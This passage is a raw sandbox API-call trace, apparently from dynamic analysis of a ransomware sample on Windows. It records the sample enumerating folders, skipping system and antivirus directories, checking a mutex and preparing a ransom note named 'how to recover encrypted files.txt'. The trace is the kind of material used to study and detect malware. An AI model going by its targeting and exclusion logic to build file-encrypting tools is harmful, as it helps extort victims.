lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0049.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0049.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18q")) returned 0xffffffff [0049.666] GetLastError () returned 0x2 [0049.666] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\儐RP") returned 6 [0049.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0049.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18?T\x18y")) returned 0xffffffff [0049.666] GetLastError () returned 0x2 [0049.666] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0049.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0049.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18\x81")) returned 0xffffffff [0049.667] GetLastError () returned 0x2 [0049.667] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0049.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0049.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18\x88")) returned 0xffffffff [0049.667] GetLastError () returned 0x2 [0049.667] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0049.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0049.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18?T\x18\x8f")) returned 0xffffffff [0049.668] GetLastError () returned 0x2 [0049.668] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0049.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0049.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18\x97")) returned 0xffffffff [0049.668] GetLastError () returned 0x2 [0049.668] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0049.669] GlobalLock (hMem=0x440004) returned 0x550170 [0049.669] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.669] GlobalUnlock (hMem=0x440004) returned 0 [0049.669] GlobalLock (hMem=0x440004) returned 0x550170 [0049.669] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.669] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.669] GlobalUnlock (hMem=0x440004) returned 0 [0049.669] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.669] GlobalUnlock (hMem=0x44000c) returned 0 [0049.669] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.669] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.669] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.669] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0049.669] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.669] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.670] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.670] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.670] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.670] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.670] GlobalUnlock (hMem=0x44000c) returned 0 [0049.670] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.670] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.670] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.670] GlobalUnlock (hMem=0x44000c) returned 0 [0049.670] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.670] GlobalUnlock (hMem=0x440004) returned 0 [0049.670] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.670] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.671] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.671] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0049.671] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.671] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0049.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0049.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0049.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.672] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0049.673] GlobalLock (hMem=0x440004) returned 0x550170 [0049.673] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.673] GlobalUnlock (hMem=0x440004) returned 0 [0049.673] GlobalLock (hMem=0x440004) returned 0x550170 [0049.673] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.673] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.673] GlobalUnlock (hMem=0x440004) returned 0 [0049.673] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.673] GlobalUnlock (hMem=0x44000c) returned 0 [0049.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0049.673] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.674] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0049.674] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0049.674] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.674] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.674] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.674] GlobalUnlock (hMem=0x44000c) returned 0 [0049.674] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.674] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.674] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.674] GlobalUnlock (hMem=0x44000c) returned 0 [0049.674] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.674] GlobalUnlock (hMem=0x440004) returned 0 [0049.674] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.674] CharLowerBuffW (in: lpsz="MSLID.DLL", cchLength=0x9 | out: lpsz="mslid.dll") returned 0x9 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLLr", lpUsedDefaultChar=0x0) returned 62 [0049.675] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0049.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\PROOF\\MSLID.DLLr", lpUsedDefaultChar=0x0) returned 4 [0049.675] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0049.675] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.675] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.675] GlobalLock (hMem=0x440004) returned 0x550170 [0049.675] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.675] GlobalUnlock (hMem=0x440004) returned 0 [0049.675] GlobalLock (hMem=0x440004) returned 0x550170 [0049.675] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.675] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.675] GlobalUnlock (hMem=0x440004) returned 0 [0049.675] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.675] GlobalUnlock (hMem=0x44000c) returned 0 [0049.675] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.676] CharLowerBuffW (in: lpsz="MSWDS_EN.LEX", cchLength=0xc | out: lpsz="mswds_en.lex") returned 0xc [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, 